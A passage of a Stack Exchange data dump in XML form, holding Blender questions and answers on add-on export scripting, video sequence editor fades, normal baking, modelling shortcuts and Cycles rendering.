&quot;&quot;&quot;&#xA;   Handles the registration of the Blender Addon.&#xA;   &quot;&quot;&quot;&#xA;   bpy.utils.register_module(__name__);&#xA;   bpy.types.INFO_MT_file_export.append(create_menu);&#xA;&#xA;def unregister():&#xA;   &quot;&quot;&quot;&#xA;   Handles the unregistering of this Blender Addon.&#xA;   &quot;&quot;&quot;&#xA;   bpy.utils.unregister_module(__name__);&#xA;   bpy.types.INFO_MT_file_export.remove(create_menu);&#xA;&#xA;&#xA;# Handle running the script from Blender's text editor.&#xA;if (__name__ == &quot;__main__&quot;):&#xA;   print(&quot;Registering.&quot;);&#xA;   register();&#xA;&#xA;   print(&quot;Executing.&quot;);&#xA;   bpy.ops.export_scene.my_exporter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I run this script inside Blender text editor and it compiles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when I try to run it on the command line with the below command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender model.blend --background --python myexporter.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it thrown exception on model.blend as &quot;invalid syntax&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am completely new to Blender and scripting with python so spare me if I am missing something here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After changing my script as suggested in the second post, I get the following error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/peRCk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blender file name is &quot;model.blend&quot; and it throws the error as invalid syntax. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="12757" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-02-24T12:17:38.610" Title="Creating an export file for model in blender" Tags="&lt;python&gt;&lt;export&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26150" PostTypeId="1" CreationDate="2015-02-23T02:40:47.110" Score="4" ViewCount="4414" Body="&lt;p&gt;I am trying to do video editing and I want an image over the video, but I don't want it there permanently. I want it to fade in and out, kind of like transitioning or animating.&lt;br&gt;&#xA;I am not sure how to do this. I have seen it done in adobe premiere and people say that blender is a good free alternative.&lt;/p&gt;&#xA;" OwnerUserId="12758" LastEditorDisplayName="user1853" LastEditDate="2015-02-23T03:29:57.930" LastActivityDate="2016-07-27T15:48:22.967" Title="How do you fade an image over video in the VSE" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26151" PostTypeId="1" AcceptedAnswerId="26161" CreationDate="2015-02-23T02:47:22.953" Score="5" ViewCount="3193" Body="&lt;p&gt;I am working with a software suite that ignores imported normals and relies entirely on a baked normal map.  This messes up the shading of my model as I cannot use the &quot;Smooth Shading&quot; option to smooth vertex normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to bake this smooth shading into a normal map?  Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12739" LastActivityDate="2015-02-23T09:56:43.063" Title="Take Smooth Shading into account with Normals Bake" Tags="&lt;texture-baking&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26152" PostTypeId="2" ParentId="26150" CreationDate="2015-02-23T03:00:29.667" Score="6" Body="&lt;p&gt;In the Video Sequence editor press &lt;kbd&gt;N&lt;/kbd&gt; to bring out the tool bar.&#xA;Then select the video strip you want to fade out and insert keyframes for opacity , change to a different frame, change the opacity and insert a new keyframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6fw1U.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( to create a key frame hover the mouse over the opacity press the right mouse button or press &lt;kbd&gt;I&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other kinds of transitions/efects please refer to the &lt;a href=&quot;https://www.blender.org/manual/editors/sequencer/strips/types/effects/index.html?highlight=effects&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sequencer Effects Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-07-27T15:48:22.967" LastActivityDate="2016-07-27T15:48:22.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26153" PostTypeId="2" ParentId="26145" CreationDate="2015-02-23T03:11:15.900" Score="2" Body="&lt;p&gt;There is a library called &lt;a href=&quot;https://github.com/Moguri/bgui&quot; rel=&quot;nofollow&quot;&gt;bgui&lt;/a&gt; that makes creating GUI for the bge much easier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two locations for the documentation, the old (but better) &lt;a href=&quot;https://code.google.com/p/bgui/wiki/HomePage&quot; rel=&quot;nofollow&quot;&gt;google project wiki&lt;/a&gt; and the &lt;a href=&quot;http://bgui.readthedocs.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;read the docs page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, add the bgui script to your project with a python controller in the logic editor. Use a always sensor to trigger the script to always run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you add widgets or components to bgui with a line such as this (this will add a button).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# A FrameButton widget&#xA;self.btn = bgui.FrameButton(self.frame, 'button', text='Click Me!', size=[0.3, 0.1], pos=[0, 0.4], options=bgui.BGUI_DEFAULT | bgui.BGUI_CENTERX)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-02-23T03:11:15.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26154" PostTypeId="1" AcceptedAnswerId="26172" CreationDate="2015-02-23T04:03:06.417" Score="4" ViewCount="739" Body="&lt;p&gt;I am trying to cut out a rough outline of the background image to hopefully make a 3D Model of it as seen in the screenshot below.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0CwHK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Originally I used the knife tool but that tool only cuts OUT the cuts (the outside) and not cuts out the inside. So in a way I want to use the knife tool to trim my cube more and more until I have a model of my background image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or ideas? Is there a way to cheat and make a rough model from the background image?&#xA;How would I achieve my goal with the knife tool?&#xA;Is there another tool I should use instead?&lt;/p&gt;&#xA;" OwnerUserId="12777" LastEditorUserId="2217" LastEditDate="2015-06-01T23:34:21.550" LastActivityDate="2015-06-01T23:34:21.550" Title="Invert knife tool cut or other tool to use" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;image&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26156" PostTypeId="1" CreationDate="2015-02-23T05:43:28.410" Score="0" ViewCount="73" Body="&lt;p&gt;I recently changed some of the shortcuts to make Blender more comfortable for me, but every time I export my key configuration &amp;amp; import it into Blender (on another computer) some of the custom shortcuts work &amp;amp; others do not. I'm very confused &amp;amp; tired of remapping them over &amp;amp; over again.&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2015-02-23T05:43:28.410" Title="Blender will not import all of my custom shortcuts. How do I fix this?" Tags="&lt;import&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26157" PostTypeId="2" ParentId="26154" CreationDate="2015-02-23T06:56:32.133" Score="4" Body="&lt;p&gt;I would extrude a single vertex around, &lt;em&gt;building&lt;/em&gt; the model up instead of &lt;em&gt;cutting&lt;/em&gt; it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; can be used to extrude and position geometry in one step, or &lt;kbd&gt;E&lt;/kbd&gt; can be used for a two step extrude and move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qp7gT.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That said you might get a similar result much more easily if you auto-trace the image into a vector SVG with a program such as &lt;a href=&quot;http://wiki.inkscape.org/wiki/index.php/Potrace&quot; rel=&quot;nofollow noreferrer&quot;&gt;inkscape&lt;/a&gt;, then import the SVG into blender.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-02-23T06:56:32.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26159" PostTypeId="1" AcceptedAnswerId="26160" CreationDate="2015-02-23T07:50:47.317" Score="17" ViewCount="17370" Body="&lt;p&gt;Is there a default hotkey or shortcut for changing between point edge and face select in edit mode? It can be annoying to have to click the bottom every time. Thanks in advance &lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-02-23T08:03:11.593" Title="Hot key/shortcut for point, edge and face select?" Tags="&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-02-23T15:04:24.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="26160" PostTypeId="2" ParentId="26159" CreationDate="2015-02-23T08:03:11.593" Score="15" Body="&lt;p&gt;You can use &lt;strong&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Tab&lt;/kbd&gt;&lt;/strong&gt; to bring up the mesh select mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uwgzo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-02-23T08:03:11.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26161" PostTypeId="2" ParentId="26151" CreationDate="2015-02-23T09:56:43.063" Score="7" Body="&lt;p&gt;You can use the &lt;em&gt;bake selected to active&lt;/em&gt; feature.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicate your object.&lt;/li&gt;&#xA;&lt;li&gt;Set one copy to smooth, and the other to sharp.&lt;/li&gt;&#xA;&lt;li&gt;Add a UV map and image to the sharp one.&lt;/li&gt;&#xA;&lt;li&gt;Select the smooth one first, then the sharp one (so the sharp one is active).&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Selected to active&lt;/em&gt; in the bake settings.&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;em&gt;Bake Mode&lt;/em&gt; to &lt;em&gt;Normals&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;em&gt;Bake&lt;/em&gt;!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can also use this trick to add bevelled edges for low-poly models. Just add a bevel modifier to the &quot;smooth&quot; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k8ivm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1146" LastActivityDate="2015-02-23T09:56:43.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26162" PostTypeId="1" CreationDate="2015-02-23T10:13:18.377" Score="1" ViewCount="1217" Body="&lt;p&gt;Using the boolean operator a lot creates a lot of junk vertices and edges that make it really difficult to clean up a model so my question is: is there a way to delete all vertices connected to one or less edges?&lt;/p&gt;&#xA;" OwnerUserId="11360" LastEditorUserId="599" LastEditDate="2015-02-23T20:46:30.913" LastActivityDate="2015-02-23T20:46:30.913" Title="Remove all vertices connected to one or less edges?" Tags="&lt;vertices&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-03-01T13:47:53.707" ContentLicense="CC BY-SA 3.0" />
  <row Id="26163" PostTypeId="1" CreationDate="2015-02-23T11:42:52.290" Score="1" ViewCount="7151" Body="&lt;p&gt;I'm trying to duplicate a loop of faces on a bottle shape to create a label.&#xA;I can do it successfully if I drag the duplicate faces away from the original bottle and then separate the vertices by selection.&#xA;Problem is, when I leave the duplicate vertices in place and the try to separate them by selection, Blender then deletes the original faces underneath the new faces, leaving me with a hole in my bottle.&#xA;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="11124" LastActivityDate="2015-02-24T23:19:59.753" Title="Why can't I duplicate faces in place?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26164" PostTypeId="2" ParentId="16511" CreationDate="2015-02-23T11:55:19.610" Score="3" Body="&lt;p&gt;Both methods below only work on dicts that can be stringified, so they can't contain Objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;json&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A general Python solution to this involving JSON writing and reading. JSON can easily be constructed from a dictionary and written to &lt;code&gt;bpy.data.texts&lt;/code&gt; as a string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you have some dict of information, call it &lt;code&gt;my_dict&lt;/code&gt;. To write that dict as a JSON to the .blend file you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import json&#xA;&#xA;my_dict = {&#xA;  'key1': 'some string storage',&#xA;  'key2': ['some', 'list', 'storage'],&#xA;  'key3': 5&#xA;}&#xA;&#xA;# dump string&#xA;m = json.dumps(my_dict, sort_keys=True, indent=2)&#xA;text_block = bpy.data.texts.new('my_storage.json')&#xA;text_block.from_string(m)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.data.texts['my_storage.json']&lt;/code&gt; would then contain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;key1&quot;: &quot;some string storage&quot;,&#xA;  &quot;key2&quot;: [&#xA;    &quot;some&quot;,&#xA;    &quot;list&quot;,&#xA;    &quot;storage&quot;&#xA;  ],&#xA;  &quot;key3&quot;: 5&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to read this back in at a later stage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import json&#xA;&#xA;text_obj = bpy.data.texts['my_storage.json']&#xA;text_str = text_obj.as_string()&#xA;&#xA;my_json = json.loads(text_str)&#xA;print(my_json['key1'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;dict and ast.literal_eval&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import ast&#xA;&#xA;mydict = dict(deb=[&quot;two&quot;, &quot;three&quot;], far=&quot;booo&quot;, foo=34)&#xA;&#xA;# write the string representation of the dict to a text datablock&#xA;# this assumes you know how to create text datablocks, it is shown in the other method anyway.&#xA;d = bpy.data.texts['dict_storage']&#xA;d.from_string(str(mydict))&#xA;&#xA;# read from the datablock&#xA;d = bpy.data.texts['dict_storage']&#xA;stringified_dict = d.as_string()&#xA;my_read_dict = ast.literal_eval(stringified_dict)&#xA;&#xA;for k, v in my_read_dict.items():&#xA;    print(k, v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-07T16:14:32.870" LastActivityDate="2015-07-07T16:14:32.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26165" PostTypeId="1" AcceptedAnswerId="26167" CreationDate="2015-02-23T12:50:02.363" Score="5" ViewCount="857" Body="&lt;p&gt;I have an arm mesh. When I try to rotate some vertices with proportional editing some vertices move with it for no reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dMEuv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't happen with all vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.pasteall.org/blend/34615&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1476" LastActivityDate="2015-02-23T13:10:53.167" Title="Proportional Editing - Vertices moving for no reason" Tags="&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26167" PostTypeId="2" ParentId="26165" CreationDate="2015-02-23T13:05:00.570" Score="7" Body="&lt;p&gt;You have turned on 'X Mirror' for edit mode. This is a a tool which will mirror changes in edit mode across the object's local X axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode you can turn this off by going to the 'Options' tab in the 3D view toolbar (&lt;kbd&gt;T&lt;/kbd&gt;) and turning off 'X Mirror'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5ch9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-23T13:10:53.167" LastActivityDate="2015-02-23T13:10:53.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26168" PostTypeId="2" ParentId="26133" CreationDate="2015-02-23T13:33:36.937" Score="3" Body="&lt;p&gt;An alternative to gandalf3's answer, you can use a Color Ramp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H0erB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then set the RGB values to the appropriate number for each handle:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CfX0.png&quot; alt=&quot;http://i.imgur.com/wSmGsWK.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that if you instead choose to set the Value in HSV mode (instead of RGB), you'll need to add a Gamma node just after with gamma=0.4545 (due to color space conversions; RGB mode is in sRGB color space, and HSV mode is linear)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2015-02-23T13:33:36.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26171" PostTypeId="2" ParentId="24852" CreationDate="2015-02-23T14:15:00.183" Score="0" Body="&lt;p&gt;Your ocean shader's glossy and refraction nodes need a bit roughness (more than 0).&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qEXzs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-23T14:15:00.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26172" PostTypeId="2" ParentId="26154" CreationDate="2015-02-23T14:28:02.677" Score="4" Body="&lt;p&gt;Trace your object as SGV and import it to blender. Once it blender it will be a series of curves that you can manipulate as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TAvEb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a tutorial on using inkscape to do this porcedure watch&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=ows2QTiMRPg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=ows2QTiMRPg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-02-23T14:28:02.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26173" PostTypeId="1" CreationDate="2015-02-23T15:08:03.293" Score="4" ViewCount="366" Body="&lt;p&gt;Thanks for any assistance you can provide on this. I've been iterating on this for a while now and am somewhat flummoxed by the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a small .blend file here which illustrates the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/21819517/example3.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/21819517/example3.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This object (a scroll and pegbox for a violin model) is enclosed and has no non-manifold geometry or duplicate vertices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the bottom front right of the mesh, you see that the mesh tapers down. On the bottom left, I've moved two vertices out slightly to demonstrate the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the bottom part of the model is shaped like this on both sides (as it is on the right side of the mesh in the .blend file):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqf9o.jpg&quot; alt=&quot;Model without normals problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, on the other hand, the model is modified like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5tN4.jpg&quot; alt=&quot;Model with normals problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then recalculating normals does not work properly. Blender flips normals improperly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this for yourself by opening the .blend file I posted above, pressing A and CTRL-N. If you move the edges back so they are not in front of the rest of the model, it works correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Is there something wrong with this mesh to make it do this? Or is there a bug in Blender? I'm concerned that there's a problem in my mesh that makes it hard to determine the inside and outside, so I'd like to resolve it if there is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.73 on Windows 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any assistance you can provide!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I don't feel this is a duplicate, based on the question linked. I've provided a specific example that demonstrates a reproducible scenario of incorrectly calculated norrmals.&lt;/p&gt;&#xA;" OwnerUserId="12769" LastEditorUserId="12769" LastEditDate="2015-02-23T15:27:40.713" LastActivityDate="2015-02-23T16:31:25.983" Title="Blender not recalculating normals for mesh properly" Tags="&lt;mesh&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2015-02-25T04:17:10.847" ContentLicense="CC BY-SA 3.0" />
  <row Id="26174" PostTypeId="1" CreationDate="2015-02-23T15:44:45.167" Score="0" ViewCount="211" Body="&lt;p&gt;I need to set up scenes directly in the VSE as a scene Strip. It is possible to visualise the ideas created with Grease Pencil and simple animations of 3-4 planes.That gives me 1 or 2 Fps in the the backdrop of the VSE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The planes are white. That's it, nothing fancy but the memory go near 700 mb usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one scene strip that shows scene 1 with 3 planes, 30 seconds long and the quadcore Cpu is at 100 % fullpower, blender is nearly a colapsing and ultra slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the scene  strips of blender VSE and what is happening in Blender that makes it so laggy?&lt;/p&gt;&#xA;" OwnerUserId="12770" LastEditorUserId="241" LastEditDate="2015-06-25T13:52:49.553" LastActivityDate="2015-06-25T13:52:49.553" Title="Why is the VSE editor ultra Slow when a scene strip is loaded?" Tags="&lt;3d-view&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="26175" PostTypeId="2" ParentId="24852" CreationDate="2015-02-23T15:52:16.383" Score="7" Body="&lt;p&gt;I'm not completely sure what's causing this, I suspect it is just how Cycles works and is not strictly a bug - similar to the &lt;a href=&quot;https://blender.stackexchange.com/questions/1998/cycles-shadows-on-smooth-shaded-mesh-strange-behavior&quot;&gt;terminator issue&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to work around it, we can modify the surface normals slightly in the material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8X60D.png&quot; alt=&quot;fixed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://blender.org/manual/render/cycles/nodes/input.html#geometry&quot; rel=&quot;nofollow noreferrer&quot;&gt;the manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Incoming&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Vector pointing towards the point the shading point is being viewed from.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus adding a &lt;em&gt;tiny&lt;/em&gt; bit of the Incoming vector will skew the surface normal just enough to hide the artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that changing the surface normal means our reflections will be incorrect - so we need to change it as little as possible, otherwise the reflections of objects and clouds will be noticeably weird.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-23T15:52:16.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26176" PostTypeId="1" AcceptedAnswerId="26178" CreationDate="2015-02-23T17:05:10.787" Score="7" ViewCount="2141" Body="&lt;p&gt;I would generate a clear shadow projected on a floor. I am wondering what is the essential node used to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using these nodes &#xA;&lt;img src=&quot;https://i.stack.imgur.com/TW7g5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I get this image, I remark that the shadow is blurred (a lot of penumbra). I fix the focus at the floor and I try to change the Aperture (F/stop) to fit the depth of field. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/FARUS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorDisplayName="user1853" LastEditDate="2015-02-24T11:04:17.200" LastActivityDate="2015-02-24T11:04:17.200" Title="Rendering sharp shadow on cycle rendering" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="2" CommentCount="13" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26177" PostTypeId="2" ParentId="26176" CreationDate="2015-02-23T17:22:49.453" Score="6" Body="&lt;p&gt;Making this size smaller makes the shadow sharper:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GSAcW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-02-23T17:22:49.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26178" PostTypeId="2" ParentId="26176" CreationDate="2015-02-23T17:23:13.727" Score="13" Body="&lt;p&gt;reduce the size property of your lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLzUh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnodZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastEditorUserId="11431" LastEditDate="2015-02-23T17:35:47.633" LastActivityDate="2015-02-23T17:35:47.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26179" PostTypeId="1" AcceptedAnswerId="26181" CreationDate="2015-02-23T18:44:41.437" Score="2" ViewCount="2567" Body="&lt;p&gt;I made a glass and have some fluid falling into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I applied the fluid, smoothed it out, re sized the glass, added some ice cubes.... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The glass renders and so do the ice cubes... just not the fluid!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preview Render: &lt;img src=&quot;https://i.stack.imgur.com/izrN9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a sample of the final render (also taken at low quality): &lt;img src=&quot;https://i.stack.imgur.com/iIv3J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.mediafire.com/download/t1kxc4ms3cj24ox/brennan-cup.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;As requested, here is a link to the .blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12773" LastEditorUserId="12773" LastEditDate="2015-02-23T18:49:42.290" LastActivityDate="2015-02-23T18:59:01.930" Title="Fluid not showing in final render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="3" ClosedDate="2015-02-23T20:23:43.927" ContentLicense="CC BY-SA 3.0" />
